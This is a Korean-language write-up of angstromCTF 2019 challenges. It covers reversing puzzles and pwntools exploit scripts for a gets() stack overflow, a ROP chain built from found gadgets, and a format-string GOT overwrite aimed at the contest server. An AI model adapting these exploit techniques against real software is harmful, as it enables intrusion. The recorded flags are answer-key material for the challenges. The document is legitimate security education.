angstromCTF을 풀어봤습니다.
2019 년에 CTF 를 나가진 않았지만,
서버에서 문제파일을 다운받을수있어서
Writeup 을 작성하게되었습니다
- binary
aquarium
chain of rope
- rev
Intro to Rev
i like it
one bite
high quality checks
BINARY
aquarium
실행하면, 물고기탱크 번호, 사이즈, 물의양, 너비, 길이 높이, 이름을 입력받는다.
NX 가 걸려있지만,
고맙게도 flag를 출력해주는함수가있다.
ulong main(void)
{
undefined local_58 [52];
int local_24;
int local_20;
int local_1c;
int local_18;
int local_14;
int local_10;
__gid_t local_c;
local_c = getegid();
setresgid(local_c,local_c,local_c);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
create_aquarium(local_58);
local_1c = local_20 * local_24 + local_1c;
local_14 = local_14 * local_18 * local_10;
if (local_14 < local_1c) {
puts("Your fish tank has overflowed!");
}
else {
puts("Nice fish tank you have there.");
}
return (ulong)(local_14 < local_1c);
}
main 함수이다. main함수의 버퍼는 52바이트인걸 기억하자.
undefined8 * create_aquarium(undefined8 *param_1)
{
char local_98 [64];
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined4 local_10 [2];
printf("Enter the number of fish in your fish tank: ");
__isoc99_scanf(&DAT_0040204d,(long)&local_28 + 4);
getchar();
printf("Enter the size of the fish in your fish tank: ");
__isoc99_scanf(&DAT_0040204d,&local_20);
getchar();
printf("Enter the amount of water in your fish tank: ");
__isoc99_scanf(&DAT_0040204d,(long)&local_20 + 4);
getchar();
printf("Enter the width of your fish tank: ");
__isoc99_scanf(&DAT_0040204d,&local_18);
getchar();
printf("Enter the length of your fish tank: ");
__isoc99_scanf(&DAT_0040204d,(long)&local_18 + 4);
getchar();
printf("Enter the height of your fish tank: ");
__isoc99_scanf(&DAT_0040204d,local_10);
getchar();
printf("Enter the name of your fish tank: ");
gets(local_98);
strcpy(local_98,(char *)&local_58);
*param_1 = local_58;
param_1[1] = local_50;
param_1[2] = local_48;
param_1[3] = local_40;
param_1[4] = local_38;
param_1[5] = local_30;
param_1[6] = local_28;
param_1[7] = local_20;
param_1[8] = local_18;
*(undefined4 *)(param_1 + 9) = local_10[0];
return param_1;
}
지역변수에 각각입력받아서 main함수의 버퍼에 채워넣는다.
물탱크이름을 재외한 모든입력은 getchar() 으로 입력받지만,
이름은 gets 로 입력받아 BOF 가 발생할수있다.
이름을 입력받은 버퍼를 local_58 에 복사한다.
그리고, 나머지를 main함수의 버퍼에 채워넣게된다.
main함수버퍼말고, create_aquaruim함수의 버퍼를 overflow시키자!
local_98 배열 - ret 까지 거리 = 0x90+8 = 0x98
from pwn import *
r=remote('shell.actf.co',19305)
#r=process("./aquarium")
context.log_level='debug'
b=ELF("./aquarium")
pay=""
pay+='x'*0x98
pay+=p64(b.symbols['flag'])
r.sendline('1')
r.sendline('1')
r.sendline('1')
r.sendline('1')
r.sendline('1')
r.sendline('1')
r.sendline(pay)
r.interactive()
chain of rope
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int userToken = 0;
int balance = 0;
int authorize () {
userToken = 0x1337;
return 0;
}
int addBalance (int pin) {
if (userToken == 0x1337 && pin == 0xdeadbeef) {
balance = 0x4242;
} else {
printf("ACCESS DENIED\n");
}
return 0;
}
int flag (int pin, int secret) {
if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
system("/bin/cat flag.txt");
} else {
printf("ACCESS DENIED\n");
}
return 0;
}
void getInfo () {
printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char name [32];
printf("--== ROPE CHAIN BLACK MARKET ==--\n");
printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
printf("What would you like to do?\n");
printf("1 - Set name\n");
printf("2 - Get user info\n");
printf("3 - Grant access\n");
int choice;
scanf("%d\n", &choice);
if (choice == 1) {
gets(name);
} else if (choice == 2) {
getInfo();
} else if (choice == 3) {
printf("lmao no\n");
} else {
printf("I don't know what you're saying so get out of my black market\n");
}
return 0;
}
친절하게도, c 파일을 주신다.
choice 가 1일때, gets 로 입력을받아 overflow가 발생한다.
flag함수에서 flag를 출력해주는데, 인자가있다.
pin = 0xba5eba11, secret=0xbedabb1e
이렇게주면되는데,
전역변수인 userToken과 balance도 설정해줘야한다.
userToken 은 authorize() 함수로 설정하고,
balance 는 addBalance(0xdeadbeef) 로 설정한다.
(authorize()함수로 userToken을 설정한뒤, addBalance함수를 호출해야한다)
authorize() - addBalance(0xdeadbeef) - flag(0xba5eba11,0xbedabb1e) 순서로 리턴하면되겠다.
x64 파일이다.
x64 파일에서는, RDI, RSI, RDX, RCX 순서로 인자를준다.
pop rdi ; pop rsi ; ret
pop rdi ; ret
위에 두 가젯을 찾으면 되겠다.
0x0000000000401401 : pop rsi ; pop r15 ; ret
0x0000000000401403 : pop rdi ; ret
이렇게 가젯을 찾았다. 하지만 내가찾던모양은아니였다.
flag 함수를 호출할때는
[pop rdi;ret]
[arg1]
[pop rsi; pop r15; ret]
[arg2]
[dummy]
[flag]
이렇게 스택을 쌓아야겠다.
#ret까지 거리는 = 0x30+8 = 0x38
from pwn import *
r=remote('shell.actf.co',19400)
#r=process("./chain_of_rope")
b=ELF('./chain_of_rope')
context.log_level='debug'
psrr=0x0000000000401401
pdr=0x0000000000401403
pay=""
pay+='x'*0x38
pay+=p64(b.symbols['authorize'])
pay+=p64(pdr)
pay+=p64(0xdeadbeef)
pay+=p64(b.symbols['addBalance'])
pay+=p64(pdr)
pay+=p64(0xba5eba11)
pay+=p64(psrr)
pay+=p64(0xbedabb1e)
pay+=p64(0xffffffff)
pay+=p64(b.symbols['flag'])
r.sendline('1')
r.sendline(pay)
r.interactive()
한번에 성공해서 신기하고 좋았다.
purchases
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void flag() {
system("/bin/cat flag.txt");
}
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char item[60];
printf("What item would you like to purchase? ");
fgets(item, sizeof(item), stdin);
item[strlen(item)-1] = 0;
if (strcmp(item, "nothing") == 0) {
printf("Then why did you even come here? ");
} else {
printf("You don't have any money to buy ");
printf(item);
printf("s. You're wasting your time! We don't even sell ");
printf(item);
printf("s. Leave this place and buy ");
printf(item);
printf(" somewhere else. ");
}
printf("Get out!\n");
return 0;
}
아이템을 입력받고, nothing 이면 왜왓냐고 물어본다.
아니면, 아이템을 출력해주고, 돈이없다고한다.
아이템을 출력해줄때 printf(item) 이렇게 서식문자를 사용하지않고 출력하므로
FSB(Format string bug) 가 일어난다.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
PIE 가 적용되어있지않으므로,
절대주소를 사용할 수 있다.
FSB 로 원하는주소에 원하는값을 입력할수있다.
RELRO 가 Partial 로 설정되어있으니,
puts 의 got 주소를 flag함수로 overwrite하자
(맨밑에 Get out! 을 출력하는함수는, gdb로 봤을때 puts함수이다)
What item would you like to purchase? AAAA %x %x %x %x %x %x %x %x %8$x
You don't have any money to buy AAAA 28ef7540 976448c0 0 20 978564c0 b 9764a660 41414141 41414141s.
8번째값부터 버퍼값을 출력해준다.
0x0000000000401030 <puts@plt+0>: jmp QWORD PTR [rip+0x2fe2] # 0x404018
$2 = {<text variable, no debug info>} 0x4011b6 <flag>
64bit 파일이니, $ln 으로 0x404018 에 0x4011b6 을 overwrite하자.
(참고 : $hn - short *int (2byte), $n - *int (4byte), $ln - long *int (8byte)
0x4011b6 (4198838)
payload=%4198838x%10$ln \x18\x40\x40
%4198838x 가 9글자고,
%10$ln+공백 이 7글자이므로
16/8 = 2
8+2 = 10 번째에 \x18\x40\x40 이 위치하게된다.
from pwn import *
#r=remote('shell.actf.co',19011)
r=process("./purchases")
b=ELF('./purchases')
pay=''
pay+='%4198838x'
pay+='%10$ln'
pay+=' '
pay+='\x18\x40\x40'
r.sendline(pay)
r.interactive()
8바이트씩 저장되므로, 공백으로 16바이트를 맞춰줘야
10번째에 0x404018이 오게된다.
\x18\x40\x40 다음에 \x00 을 맞춰주지않는이유는
fgets 에서 널문자앞바이트를 잘라주기때문이다 (개행문자)
REVERSING
Intro to Rev
왼쪽위에서부터 보시면 됩니다.
짤렸지만, fgets 로 입력받은 문자열이 angstrom 이고,
실행시 인자로 준 문자열중, 첫번째문자열은 binary, 두번째문자열은 reversing 일때
flag 를 출력해줍니다.
./intro_to_rev binary reversing
이렇게실행하면 플래그가 뜹니다.
물론 우리는 flag.txt 가 없으니,
서버에서 실행하시면됩니다.
i like it
undefined8 main(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
uint local_40;
uint local_3c;
char local_38 [15];
char acStack41 [25];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("I like the string that I\'m thinking of: ");
fgets(acStack41 + 1,0x14,stdin);
sVar2 = strlen(acStack41 + 1);
acStack41[sVar2] = '\0';
iVar1 = strcmp(acStack41 + 1,"okrrrrrrr");
if (iVar1 != 0) {
puts("Cardi don\'t like that.");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("I said I like it like that!");
puts("I like two integers that I\'m thinking of (space separated): ");
fgets(local_38,0xc,stdin);
__isoc99_sscanf(local_38,"%d %d",&local_40,&local_3c);
if (((local_3c + local_40 == 0x88) && (local_3c * local_40 == 0xec7)) &&
((int)local_40 < (int)local_3c)) {
puts("I said I like it like that!");
printf("Flag: actf{%s_%d_%d}\n",acStack41 + 1,(ulong)local_40,(ulong)local_3c);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
puts("Cardi don\'t like that.");
/* WARNING: Subroutine does not return */
exit(0);
}
main 함수입니다.
문자열하나입력받고, okr*7 과 비교합니다.
그리고 숫자두개를 입력받습니다. A,B 라고 칭하겠습니다.
주어진조건에 맞으면 actf{okrrrrrrr_A_B} 를 출력해줍니다.
A+B = 0x88 ( 136 )
A*B = 0xec7 ( 3783 )
A < B
이라는 조건을 얻을 수 있습니다.
2~136 중 3783 을 나누었을때
나누어떨어지는 수를 찾으면 되겠네요
>>> for i in range(1,136):
... if float(3783)/i==3783/i:
... print str(i)+" "+str(3783/i)
...
1 3783
3 1261
13 291
39 97
97 39
이중 더해서 136이되는 두 수는 39, 97입니다.
one bite
flag 를 입력받는다. 문자열비교하는 프로그램이다.
undefined8 main(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_54;
byte local_48 [40];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
puts("Give me a flag to eat: ");
fgets((char *)local_48,0x22,stdin);
local_54 = 0;
while( true ) {
sVar2 = strlen((char *)local_48);
if (sVar2 <= (ulong)(long)local_54) break;
local_48[local_54] = local_48[local_54] ^ 0x3c;
local_54 = local_54 + 1;
}
iVar1 = strcmp((char *)local_48,"]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA");
if (iVar1 == 0) {
puts("Yum, that was a tasty flag.");
}
else {
puts("That didn\'t taste so good :(");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
문자열을 입력받은뒤, 모든문자를 0x3c 와 XOR 해버립니다.
]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA
그리고 위 문자열과 비교를합니다.
저문자열을 다시 0x3c 와 XOR하면
flag 를 얻을수있을거에요
# encode = s[i]^0x3c
encoded=']_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA'
flag=''
for i in range(len(encoded)):
flag+=chr(ord(encoded[i])^0x3c)
print flag
high quality checks
undefined8 main(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Enter your input:");
__isoc99_scanf(&DAT_00400b96,local_28);
sVar2 = strlen(local_28);
if (sVar2 < 0x13) {
puts("Flag is too short.");
}
else {
iVar1 = check(local_28);
if (iVar1 == 0) {
puts("That\'s not the flag.");
}
else {
puts("You found the flag!");
}
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
문자열을 입력받아 check() 함수로 문자열을 체크합니다.
문자열은 0x13 (19) 이상이어야합니다.
undefined8 check(char *param_1)
{
int iVar1;
iVar1 = d(param_1 + 0xc);
if ((((((iVar1 != 0) && (iVar1 = v((ulong)(uint)(int)*param_1), iVar1 != 0)) &&
(iVar1 = u((ulong)(uint)(int)param_1[0x10],(ulong)(uint)(int)param_1[0x11],
(ulong)(uint)(int)param_1[0x11]), iVar1 != 0)) &&
((iVar1 = k((ulong)(uint)(int)param_1[5]), iVar1 == 0 &&
(iVar1 = k((ulong)(uint)(int)param_1[9]), iVar1 == 0)))) &&
((iVar1 = w(param_1 + 1), iVar1 != 0 &&
((iVar1 = b(param_1,0x12), iVar1 != 0 && (iVar1 = b(param_1,4), iVar1 != 0)))))) &&
((iVar1 = z(param_1,0x6c), iVar1 != 0 && (iVar1 = s(param_1), iVar1 != 0)))) {
return 1;
}
return 0;
}
함수목록을 보시면, d, v, u, k, w, z, b, s 같은 많은함수가 있습니다.
저코드는 너무 징그러우니, 함수호출하는부분만 추출해보겠습니다 (수작업)
d(st + 0xc) != 0)
v(*st) != 0
u(st[0x10],st[0x11]) != 0
k(st[5]) == 0
k(st[9]) == 0
w(st + 1) != 0
b(st,0x12) != 0
b(st,4) != 0
z(st,0x6c) != 0
s(st)!= 0
잘정리했습니다.
이제 함수하나씩 분석해보죠
[ d(st + 0xc) != 0) ]
ulong d(int *param_1)
{
return (ulong)(*param_1 == 0x30313763);
}
d+0xc (12)
인덱스 12부터 0x30313763 이란값을가지고있어야합니다
abcd=0x64636261
리틀엔디언방식으로 저장되므로
낮은바이트부터 차례대로 읽어야한다.
즉, [12] 부터의 값은
c710 이 되어야한다.
XXXXXXXXXXXXc710
[ v(*st) != 0 ]
ulong v(byte param_1)
{
int iVar1;
iVar1 = n(0xac);
return (ulong)((int)(char)(param_1 ^ 0x37) == iVar1);
}
n 함수는 인자를 오른쪽으로 1만큼 쉬프트한값을 리턴합니다.
첫글자 ^ 0x37 == 0xac>>1
이 식을 만족해야합니다.
0xac>>1 = 86
첫글자 = 86 ^ 0x37 = 97 (a)
aXXXXXXXXXXXc710
[ u(st[0x10],st[0x11]) != 0 ]
undefined8 u(char param_1,char param_2)
{
int iVar1;
iVar1 = n(0xdc);
if (((int)param_1 == iVar1) && (iVar1 = o((ulong)(uint)(int)param_2), iVar1 == 0x35053505)) {
return 1;
}
return 0;
}
[0x10] = 0xdc>>1 = 110 ('n')인덱스
ulong o(char param_1)
{
int local_c;
if (param_1 < 'a') {
local_c = (int)param_1 + -0x30;
}
else {
local_c = (int)param_1 + -0x57;
}
local_c = (int)param_1 * 0x100 + local_c;
return (ulong)(uint)(local_c * 0x10001);
}
o 함수입니다.
인자가 'a' (97) 보다 작으면 0x30 을빼고, 아니면 0x57을 뺍니다.
인자 * 0x100 + 인자 - 0x30 or 0x57 * 0x10001 을 리턴합니다.
리턴값이 0x35053505 와 같아야합니다.
인자를 x 라 하고, 0x30 을 빼는경우, 0x57 을 빼는경우
각각 연산해서 나누어떨어지는값이 올바른값입니다.
256x + x = 0x35053505 / 0x10001 + 0x30 or 0x57
x= 13621 / 257 or 13660 / 257
0x30 을 더할때 x=53 으로 나누어떨어지니
[0x11] = 53 ('5')
aXXXXXXXXXXXc710n5
[ k(st[5]) == 0 ]
[ k(st[9]) == 0 ]
ulong k(char param_1)
{
int iVar1;
iVar1 = o((ulong)(uint)(int)param_1);
return (ulong)(iVar1 != 0x660f660f);
}
아까봤던 o함수가 사용됩니다.
인자를 x 라 하면
257x = 0x660f660f / 0x10001 + 0x30 or 0x57
x= ( 26127+0x30 or 0x57 ) / 257
0x57 일때 102 ('f') 로 나누어떨어진다.
[5],[9] = 'f'
aXXXXfXXXfXXc710n5
[ w(st + 1) != 0 ]
ulong w(char *param_1)
{
return (ulong)((int)*param_1 + (int)param_1[2] * 0x10000 + (int)param_1[1] * 0x100 == 0x667463);
}
문자가 3개있는 방정식이라생각하고 못풀거라 생각했습니다.
하지만 각각 0xff 를 넣어보고 연산을 해보면
0xffffffff 가 나오는걸 알 수 있다.
[0] = 0x63
[1] = 0x74
[2] = 0x66
하지만, s+1 의 주소를 전달했기때문에 실제 인덱스는 다음과같다.
[1] = 0x63 ('c')
[2] = 0x74 ('t')
[3] = 0x66 ('f')
actfXfXXXfXXc710n5X
[ b(st,0x12) != 0 ]
[ b(st,4) != 0 ]
ulong b(long param_1,uint param_2)
{
char cVar1;
int iVar2;
int iVar3;
cVar1 = *(char *)(param_1 + (int)param_2);
iVar2 = n(0xf6);
iVar3 = e((ulong)param_2);
return (ulong)((int)cVar1 == iVar3 * 2 + iVar2);
}
ulong e(int param_1)
{
uint uVar1;
uVar1 = (uint)(param_1 >> 0x1f) >> 0x1e;
return (ulong)(uint)((int)((param_1 + uVar1 & 3) - uVar1) / 2);
}
e 함수가 이해가잘 되지 않아서, 디스어셈코드를 봤다.
실제로는
(param_1&3+(param_1&3>>0x1f))>>1
위 연산을 수행하는걸 알 수 있다.
4일때는 0을리턴하고, 0x12일때는 1을 리턴한다.
[0x4] = 0xf6>>1 = 123 ( '{' )
[0x12] = 0xf6>>1 + 1*2 = 125 ( '} )
actf{fXXXfXXc710n5}
점점 flag 다워지고있다.
[ z(st,0x6c) != 0 ]
undefined8 z(long param_1,char param_2)
{
char cVar1;
int iVar2;
char local_17;
char local_16;
uint local_14;
local_17 = '\0';
local_16 = '\0';
local_14 = 0;
while ((int)local_14 < 8) {
cVar1 = (char)(((int)param_2 & 1 << ((byte)local_14 & 0x1f)) >> ((byte)local_14 & 0x1f));
if ((local_14 & 1) == 0) {
local_16 = local_16 + (char)((int)cVar1 << ((byte)((int)local_14 / 2) & 0x1f));
}
else {
local_17 = local_17 + (char)((int)cVar1 << ((byte)((int)local_14 / 2) & 0x1f));
}
local_14 = local_14 + 1;
}
if ((((*(char *)(param_1 + local_17) == 'u') &&
(cVar1 = *(char *)(param_1 + (long)local_17 + 1), iVar2 = n(0xdc), (int)cVar1 == iVar2)) &&
(cVar1 = *(char *)(param_1 + local_16), iVar2 = n(0xea), (int)cVar1 == iVar2)) &&
(*(char *)(param_1 + (long)local_16 + 1) == 'n')) {
return 1;
}
return 0;
}
param_1[local_17] == 'u')
param_1 [local_17 + 1]) == n(0xdc) ('n')
param_1[local_16] == n(0xea) ('u')
param_1[local_16 + 1] == 'n'
조건문을 간단히해봤다.
local_16, local_17 의 값을 구해보자.
0x0000000000400808 <+155>: movsx rdx,BYTE PTR [rbp-0xf]
0x000000000040080d <+160>: mov rax,QWORD PTR [rbp-0x20]
0x0000000000400811 <+164>: add rax,rdx
0x0000000000400814 <+167>: movzx eax,BYTE PTR [rax]
0x0000000000400817 <+170>: cmp al,0x75
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0x000000000040083f <+210>: movsx rdx,BYTE PTR [rbp-0xe]
0x0000000000400844 <+215>: mov rax,QWORD PTR [rbp-0x20]
0x0000000000400848 <+219>: add rax,rdx
0x000000000040084b <+222>: movzx eax,BYTE PTR [rax]
0x000000000040084e <+225>: movsx ebx,al
0x0000000000400851 <+228>: mov edi,0xea
0x0000000000400856 <+233>: call 0x400607 <n>
0x000000000040085b <+238>: cmp ebx,eax
윗부분은 param[local_17]=='u' 부분이고
아랫부분은 param[local_16]==n(0xea) 부분이다.
local_17 = $rbp-0xf
local_16 = $rbp-0xe
local_17 = 6
local_16 = 10
[6][7] = 'un'
[10][11] = 'un'
actf{funXfunc710n5}
[ s(st)!= 0 ]
ulong s(long param_1)
{
int iVar1;
int local_10;
int local_c;
local_10 = 0;
local_c = 0;
while (local_c < 0x13) {
iVar1 = o((ulong)(uint)(int)*(char *)(param_1 + local_c));
if (iVar1 == 0x5f2f5f2f) {
local_10 = local_10 + local_c + 1;
}
local_c = local_c + 1;
}
return (ulong)(local_10 == 9);
}
문자열하나씩 가져와 조건에 맞는지 검사한다
조건 : x=( 0x5f2f5f2f / 0x10001 + 0x30 or 0x57 ) / 257
조건에 맞는 인덱스에 1을더한값이 9가 되어야하니
인덱스는 마지막남은 X인 8인걸 알 수 있다.
0x30 을 더해서 나누었을때
95 로 나누어진다.
[8] = 95 ( '_' )
최종 FLAG
actf{fun_func710n5}
읽어주셔서 감사합니다